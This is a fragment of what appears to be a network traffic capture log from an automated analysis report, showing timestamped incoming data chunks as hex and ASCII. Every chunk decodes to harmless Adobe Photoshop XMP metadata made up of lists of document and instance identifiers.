2022-07-21 02:34:51 UTC	7779	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 42 39 32 43 36 33 46 43 30 45 41 32 43 32 35 38 36 34 38 41 42 43 38 32 39 44 32 39 36 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 42 39 46 33 31 45 42 32 38 41 45 41 44 46 45 39 39 42 34 41 33 44 30 30 39 35 30 42 38 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 42 41 31 30 30 38 46 31 45 31 31 32 41 41 32 34 38 43 32 35 42 36 33 43 43 42 44 35 45 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 42 41 34 31 39 39 42 31 45 45 35 32 32 35 35 30 39 41 37 36 38 36 46 34 36 37 39 37 42 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 42 41 46 34 39 35 36 32 41 31 33 45 46 46 32 34 37 30 33 42 31 32 39 34 41 46 43 36 31 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: i> <rdf:li>CB92C63FC0EA2C258648ABC829D29672</rdf:li> <rdf:li>CB9F31EB28AEADFE99B4A3D00950B809</rdf:li> <rdf:li>CBA1008F1E112AA248C25B63CCBD5E80</rdf:li> <rdf:li>CBA4199B1EE5225509A7686F46797B2D</rdf:li> <rdf:li>CBAF49562A13EFF24703B1294AFC619D</rdf:li> <r
2022-07-21 02:34:51 UTC	7795	IN	Data Raw: 64 66 3a 6c 69 3e 44 38 41 36 39 34 38 34 31 41 37 33 43 46 30 41 31 37 41 37 38 41 39 33 39 34 45 32 34 38 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 42 42 37 34 44 39 39 46 41 37 31 39 36 33 38 39 39 43 37 41 34 35 31 45 32 32 43 45 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 43 44 33 42 37 30 39 42 43 42 31 32 38 35 38 38 33 42 41 30 32 41 44 38 34 32 38 35 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 44 31 45 43 32 36 34 32 35 39 35 31 35 31 46 43 42 30 31 42 39 38 34 44 32 38 36 42 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 44 44 43 30 31 46 38 39 34 34 37 42 44 44 35 38 34 45 30 37 43 42 35 44 42 33 44 38 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>D8A694841A73CF0A17A78A9394E2480E</rdf:li> <rdf:li>D8BB74D99FA71963899C7A451E22CEEA</rdf:li> <rdf:li>D8CD3B709BCB1285883BA02AD84285D2</rdf:li> <rdf:li>D8D1EC2642595151FCB01B984D286B2E</rdf:li> <rdf:li>D8DDC01F89447BDD584E07CB5DB3D8E9</rdf:li> <rdf:li
2022-07-21 02:34:51 UTC	7802	IN	Data Raw: 66 3a 6c 69 3e 44 45 41 31 32 36 33 31 35 45 38 44 44 43 32 45 34 38 30 36 42 36 35 43 43 34 45 42 37 31 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 41 42 38 33 36 33 41 38 34 36 32 41 35 43 38 36 46 45 30 37 38 41 31 32 42 41 31 38 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 42 38 37 31 44 36 44 36 37 31 35 30 31 38 44 37 36 37 45 43 32 31 33 33 45 33 33 42 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 42 45 32 45 35 45 32 31 35 30 31 38 30 32 34 31 37 39 42 37 38 44 45 32 31 44 34 44 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 42 46 39 35 35 46 36 33 41 30 38 44 41 34 35 43 43 38 32 31 39 30 39 31 45 41 31 30 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>DEA126315E8DDC2E4806B65CC4EB7128</rdf:li> <rdf:li>DEAB8363A8462A5C86FE078A12BA18CF</rdf:li> <rdf:li>DEB871D6D6715018D767EC2133E33B11</rdf:li> <rdf:li>DEBE2E5E215018024179B78DE21D4DA2</rdf:li> <rdf:li>DEBF955F63A08DA45CC8219091EA106D</rdf:li> <rdf:li>
2022-07-21 02:34:51 UTC	7818	IN	Data Raw: 38 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 30 46 31 36 32 45 33 43 42 30 41 37 46 30 32 45 33 35 46 32 33 31 38 41 30 43 41 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 31 33 36 46 41 32 41 31 46 33 34 44 30 33 33 31 44 35 36 33 36 45 30 36 41 46 39 43 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 32 30 31 39 41 38 38 46 44 30 34 32 44 34 36 37 31 44 46 33 44 38 46 30 33 39 31 35 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 32 39 36 41 33 36 30 32 42 38 32 46 37 38 39 46 38 32 37 30 34 45 36 32 36 38 45 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 32 46 45 33 36 37 39 45 38 39 41 38 46 43 42 42 42 30 44 43 34 38 45 39 45 37 34 34 35 37 3c 2f Data Ascii: 854</rdf:li> <rdf:li>EB0F162E3CB0A7F02E35F2318A0CAFD0</rdf:li> <rdf:li>EB136FA2A1F34D0331D5636E06AF9CA2</rdf:li> <rdf:li>EB2019A88FD042D4671DF3D8F039150D</rdf:li> <rdf:li>EB296A3602B82F789F82704E6268E2DA</rdf:li> <rdf:li>EB2FE3679E89A8FCBBB0DC48E9E74457</
2022-07-21 02:34:51 UTC	7834	IN	Data Raw: 31 46 37 35 45 36 37 30 31 45 44 44 37 42 33 46 37 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 38 39 32 33 37 45 37 41 43 43 45 34 38 34 36 37 32 34 45 41 45 42 31 45 42 31 31 32 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 39 35 35 39 45 36 30 42 44 45 34 30 30 45 39 43 43 41 39 39 45 35 42 35 39 31 31 30 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 39 39 32 38 43 45 31 38 41 37 37 43 45 42 41 32 44 39 39 31 39 32 44 42 38 32 43 45 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 39 43 37 35 43 32 46 46 38 46 42 39 33 39 45 44 42 32 45 32 39 36 42 39 30 31 46 34 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 42 30 32 32 32 43 43 31 44 39 38 32 46 32 42 45 Data Ascii: 1F75E6701EDD7B3F729</rdf:li> <rdf:li>F789237E7ACCE4846724EAEB1EB112F0</rdf:li> <rdf:li>F79559E60BDE400E9CCA99E5B5911042</rdf:li> <rdf:li>F79928CE18A77CEBA2D99192DB82CEFC</rdf:li> <rdf:li>F79C75C2FF8FB939EDB2E296B901F467</rdf:li> <rdf:li>F7B0222CC1D982F2BE
2022-07-21 02:34:51 UTC	7842	IN	Data Raw: 39 44 44 41 43 32 35 44 44 39 46 30 41 38 35 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 45 32 39 41 32 35 36 33 31 46 32 42 30 38 38 43 31 30 42 33 41 33 33 45 32 39 36 37 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 46 31 43 39 44 42 41 43 30 33 43 32 45 38 41 31 33 32 37 39 34 45 30 44 37 46 33 36 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 46 37 37 38 39 32 33 32 45 36 45 35 46 30 33 34 31 36 34 43 34 41 38 43 30 32 31 31 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 30 31 37 31 37 42 38 39 38 34 43 42 46 34 30 35 30 31 38 30 30 36 35 34 31 30 35 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 30 35 35 43 39 36 44 44 38 32 45 39 43 33 34 46 30 31 Data Ascii: 9DDAC25DD9F0A855C</rdf:li> <rdf:li>FDE29A25631F2B088C10B3A33E29679F</rdf:li> <rdf:li>FDF1C9DBAC03C2E8A132794E0D7F36D4</rdf:li> <rdf:li>FDF7789232E6E5F034164C4A8C0211F9</rdf:li> <rdf:li>FE01717B8984CBF40501800654105B36</rdf:li> <rdf:li>FE055C96DD82E9C34F01
2022-07-21 02:34:51 UTC	7858	IN	Data Raw: 38 2d 38 30 34 32 2d 62 30 32 63 37 33 64 35 30 39 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 61 66 33 30 33 62 31 2d 39 63 37 63 2d 31 31 37 38 2d 62 37 62 37 2d 62 30 34 62 61 38 36 63 62 66 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 62 30 38 66 64 37 37 2d 61 31 63 66 2d 31 31 37 37 2d 61 32 39 30 2d 38 37 66 33 66 35 30 61 33 32 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 62 63 62 35 66 63 38 2d 35 62 66 37 2d 31 31 64 64 2d 39 30 34 62 2d 65 35 36 33 32 33 66 66 65 32 39 37 3c 2f 72 64 66 3a 6c 69 Data Ascii: 8-8042-b02c73d50967</rdf:li> <rdf:li>adobe:docid:photoshop:2af303b1-9c7c-1178-b7b7-b04ba86cbfff</rdf:li> <rdf:li>adobe:docid:photoshop:2b08fd77-a1cf-1177-a290-87f3f50a32fc</rdf:li> <rdf:li>adobe:docid:photoshop:2bcb5fc8-5bf7-11dd-904b-e56323ffe297</rdf:li
2022-07-21 02:34:51 UTC	7874	IN	Data Raw: 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 62 66 30 38 36 65 36 2d 64 32 39 39 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 62 66 34 61 62 62 30 2d 38 33 30 36 2d 31 31 65 37 2d 62 62 32 30 2d 62 34 33 31 31 62 65 38 32 30 35 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 63 34 66 32 62 32 36 2d 63 38 61 32 2d 31 31 65 34 2d 61 37 61 36 2d 64 39 66 64 64 62 35 32 65 31 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 63 36 34 64 36 35 32 2d 38 65 30 Data Ascii: ocid:photoshop:5bf086e6-d299-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:5bf4abb0-8306-11e7-bb20-b4311be8205e</rdf:li> <rdf:li>adobe:docid:photoshop:5c4f2b26-c8a2-11e4-a7a6-d9fddb52e1c2</rdf:li> <rdf:li>adobe:docid:photoshop:5c64d652-8e0
2022-07-21 02:34:51 UTC	7882	IN	Data Raw: 34 36 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 32 65 31 37 32 31 64 2d 64 32 39 39 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 33 31 31 34 37 37 34 2d 32 65 34 65 2d 31 31 64 38 2d 38 62 30 36 2d 66 34 33 35 63 33 63 65 61 39 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 33 31 65 64 39 38 30 2d 34 30 35 30 2d 31 31 37 38 2d 61 34 37 33 2d 39 37 30 30 35 65 39 33 37 63 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a Data Ascii: 46d</rdf:li> <rdf:li>adobe:docid:photoshop:72e1721d-d299-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:73114774-2e4e-11d8-8b06-f435c3cea923</rdf:li> <rdf:li>adobe:docid:photoshop:731ed980-4050-1178-a473-97005e937c10</rdf:li> <rdf:li>adobe:
2022-07-21 02:34:51 UTC	7898	IN	Data Raw: 32 36 30 66 36 34 34 2d 37 65 32 62 2d 31 31 65 31 2d 38 38 65 34 2d 62 33 35 34 30 32 64 36 64 61 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 62 30 63 62 65 66 2d 66 35 66 63 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 63 61 65 66 63 65 2d 66 38 66 65 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 33 35 61 35 63 62 32 2d 32 34 61 34 2d 31 31 64 62 2d 38 61 66 38 2d 66 39 34 30 Data Ascii: 260f644-7e2b-11e1-88e4-b35402d6da16</rdf:li> <rdf:li>adobe:docid:photoshop:a2b0cbef-f5fc-1178-9ec9-bf324dde5fd6</rdf:li> <rdf:li>adobe:docid:photoshop:a2caefce-f8fe-1178-9ec9-bf324dde5fd6</rdf:li> <rdf:li>adobe:docid:photoshop:a35a5cb2-24a4-11db-8af8-f940
2022-07-21 02:34:51 UTC	7914	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 39 34 36 32 33 65 38 2d 31 61 61 36 2d 31 31 65 35 2d 62 32 33 66 2d 61 66 34 32 32 34 65 36 32 64 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 39 35 36 34 30 34 63 2d 62 32 31 37 2d 31 31 64 37 2d 62 31 31 36 2d 61 34 32 31 39 34 66 61 62 66 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 39 39 65 62 34 36 61 2d 37 66 30 62 2d 37 35 34 66 2d 62 63 62 34 2d 35 62 31 32 65 38 34 36 32 35 63 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 Data Ascii: <rdf:li>adobe:docid:photoshop:d94623e8-1aa6-11e5-b23f-af4224e62d18</rdf:li> <rdf:li>adobe:docid:photoshop:d956404c-b217-11d7-b116-a42194fabfd8</rdf:li> <rdf:li>adobe:docid:photoshop:d99eb46a-7f0b-754f-bcb4-5b12e84625cc</rdf:li> <rdf:li>adobe:docid:photos
2022-07-21 02:34:51 UTC	7921	IN	Data Raw: 31 31 64 63 2d 38 36 66 61 2d 63 61 31 63 64 39 33 34 31 35 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 65 37 37 61 32 62 62 2d 64 61 37 38 2d 31 31 65 35 2d 61 62 63 35 2d 64 33 31 36 64 64 39 62 34 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 65 39 36 64 30 66 38 2d 30 66 66 62 2d 63 30 34 66 2d 39 33 66 30 2d 32 32 30 31 35 62 66 39 32 61 64 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 65 63 38 61 30 66 62 2d 62 32 31 39 2d 31 31 64 37 2d 62 31 31 36 2d 61 34 32 31 39 34 66 61 62 66 64 38 3c 2f 72 64 66 Data Ascii: 11dc-86fa-ca1cd9341551</rdf:li> <rdf:li>adobe:docid:photoshop:ee77a2bb-da78-11e5-abc5-d316dd9b4780</rdf:li> <rdf:li>adobe:docid:photoshop:ee96d0f8-0ffb-c04f-93f0-22015bf92ad2</rdf:li> <rdf:li>adobe:docid:photoshop:eec8a0fb-b219-11d7-b116-a42194fabfd8</rdf
2022-07-21 02:34:51 UTC	7937	IN	Data Raw: 38 42 37 41 31 35 37 38 36 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 35 32 30 44 38 42 34 43 43 38 44 45 30 31 31 41 41 31 32 41 39 36 37 32 32 33 33 39 44 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 35 35 46 46 37 31 38 38 42 37 33 44 45 31 31 39 46 46 36 41 39 43 42 33 41 30 44 37 31 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 35 37 42 30 46 43 41 46 38 43 44 44 46 31 31 39 39 42 32 42 42 45 38 43 44 36 33 44 36 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 35 39 41 43 36 46 30 30 41 45 37 31 31 44 43 39 32 33 43 38 41 36 46 35 32 32 30 35 45 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 Data Ascii: 8B7A157865C</rdf:li> <rdf:li>uuid:2520D8B4CC8DE011AA12A96722339DA9</rdf:li> <rdf:li>uuid:255FF7188B73DE119FF6A9CB3A0D71C3</rdf:li> <rdf:li>uuid:257B0FCAF8CDDF1199B2BBE8CD63D60E</rdf:li> <rdf:li>uuid:259AC6F00AE711DC923C8A6F52205E97</rdf:li> <rdf:li>uuid:2
2022-07-21 02:34:52 UTC	7953	IN	Data Raw: 3a 35 39 35 34 43 45 45 36 38 35 30 30 45 31 31 31 38 43 35 35 45 46 36 44 42 38 39 37 31 35 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 39 38 34 32 39 39 45 46 37 33 37 44 46 31 31 41 32 34 41 46 37 38 38 31 35 36 33 31 46 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 39 38 35 42 35 41 43 31 45 43 43 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 39 41 37 31 43 39 34 41 41 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 39 42 41 46 43 37 45 35 39 37 36 44 46 31 31 41 39 39 38 46 30 33 39 44 42 35 41 33 38 41 44 3c 2f Data Ascii: :5954CEE68500E1118C55EF6DB8971523</rdf:li> <rdf:li>uuid:5984299EF737DF11A24AF78815631F5D</rdf:li> <rdf:li>uuid:5985B5AC1ECCE011B3FED24831848F59</rdf:li> <rdf:li>uuid:59A71C94AAC9E011AA55A065F8A23988</rdf:li> <rdf:li>uuid:59BAFC7E5976DF11A998F039DB5A38AD</
2022-07-21 02:34:52 UTC	7961	IN	Data Raw: 35 41 37 41 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 32 41 46 30 42 45 33 43 34 45 32 31 31 44 43 39 34 37 41 44 33 32 44 39 33 43 34 34 30 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 32 43 36 45 38 43 30 41 35 42 38 44 46 31 31 41 30 42 37 44 32 37 37 34 34 33 37 37 38 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 32 46 42 36 43 33 33 38 30 43 35 44 43 31 31 42 35 44 39 45 45 36 41 35 33 31 46 35 32 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 33 32 34 32 63 30 65 2d 31 63 32 36 2d 34 38 33 61 2d 62 33 66 34 2d 39 38 36 63 30 30 37 31 32 66 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 33 Data Ascii: 5A7A03</rdf:li> <rdf:li>uuid:72AF0BE3C4E211DC947AD32D93C4408D</rdf:li> <rdf:li>uuid:72C6E8C0A5B8DF11A0B7D27744377856</rdf:li> <rdf:li>uuid:72FB6C3380C5DC11B5D9EE6A531F52C3</rdf:li> <rdf:li>uuid:73242c0e-1c26-483a-b3f4-986c00712ffd</rdf:li> <rdf:li>uuid:73
2022-07-21 02:34:52 UTC	7977	IN	Data Raw: 3a 41 34 30 39 42 36 36 46 38 34 42 35 31 31 44 43 41 44 30 30 38 30 38 41 30 36 30 41 38 43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 34 32 38 31 31 43 44 32 42 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 34 41 34 32 35 45 31 34 33 31 35 31 31 44 46 42 30 39 35 46 30 39 38 33 36 46 34 33 32 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 34 42 34 33 45 36 39 36 37 43 36 44 42 31 31 41 45 31 45 39 46 42 45 31 37 31 39 39 34 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 34 43 38 34 34 35 39 38 36 39 38 44 42 31 31 38 45 41 37 43 41 45 38 31 32 45 31 43 37 39 31 3c 2f Data Ascii: :A409B66F84B511DCAD00808A060A8C33</rdf:li> <rdf:li>uuid:A42811CD2B46DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:A4A425E1431511DFB095F09836F432C9</rdf:li> <rdf:li>uuid:A4B43E6967C6DB11AE1E9FBE171994EC</rdf:li> <rdf:li>uuid:A4C844598698DB118EA7CAE812E1C791</
2022-07-21 02:34:52 UTC	7993	IN	Data Raw: 35 36 32 33 36 45 37 35 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 30 31 33 33 43 34 38 44 39 36 30 44 45 31 31 38 39 36 43 39 42 32 33 34 39 45 35 41 32 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 30 32 41 39 39 45 38 46 36 38 34 44 44 31 31 41 41 36 36 41 35 34 31 34 34 45 30 35 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 30 39 31 33 44 32 44 33 36 46 42 31 31 44 45 42 38 38 30 43 36 33 39 35 39 32 33 44 46 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 30 43 34 34 39 35 34 38 37 36 32 31 31 44 45 38 44 45 46 39 43 39 35 42 41 30 35 46 45 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 31 Data Ascii: 56236E75AD</rdf:li> <rdf:li>uuid:E0133C48D960DE11896C9B2349E5A27F</rdf:li> <rdf:li>uuid:E02A99E8F684DD11AA66A54144E05986</rdf:li> <rdf:li>uuid:E0913D2D36FB11DEB880C6395923DF8B</rdf:li> <rdf:li>uuid:E0C44954876211DE8DEF9C95BA05FED3</rdf:li> <rdf:li>uuid:E1
2022-07-21 02:34:52 UTC	8001	IN	Data Raw: 75 75 69 64 3a 46 44 41 43 31 46 42 30 41 37 44 33 44 43 31 31 38 39 32 35 44 30 44 37 39 35 38 39 37 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 45 38 31 35 34 35 36 31 34 43 41 31 31 44 43 42 37 46 42 38 34 34 43 43 39 42 35 36 33 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 45 38 35 37 36 42 39 44 35 32 42 31 31 44 42 38 43 31 44 38 43 41 41 35 43 45 34 42 44 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 46 30 34 39 30 42 36 33 41 35 37 44 45 31 31 38 43 32 30 42 30 46 34 43 38 39 37 46 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 46 39 41 46 36 34 44 30 43 33 39 44 46 31 31 42 46 38 33 39 33 32 32 33 46 41 33 46 31 Data Ascii: uuid:FDAC1FB0A7D3DC118925D0D795897B7F</rdf:li> <rdf:li>uuid:FE81545614CA11DCB7FB844CC9B563D3</rdf:li> <rdf:li>uuid:FE8576B9D52B11DB8C1D8CAA5CE4BD45</rdf:li> <rdf:li>uuid:FF0490B63A57DE118C20B0F4C897FAD4</rdf:li> <rdf:li>uuid:FF9AF64D0C39DF11BF8393223FA3F1
2022-07-21 02:34:52 UTC	8017	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 36 44 38 45 34 31 32 32 31 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 35 44 43 32 32 39 39 35 37 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 46 35 39 41 34 45 46 36 45 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 33 32 39 33 44 33 37 39 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 Data Ascii: :li>xmp.did:02801174072068119109E6D8E4122179</rdf:li> <rdf:li>xmp.did:02801174072068119109F5DC2299578C</rdf:li> <rdf:li>xmp.did:028011740720681192B09F59A4EF6E2F</rdf:li> <rdf:li>xmp.did:028011740720681192B0B3293D379CEF</rdf:li> <rdf:li>xmp.did:02801174072
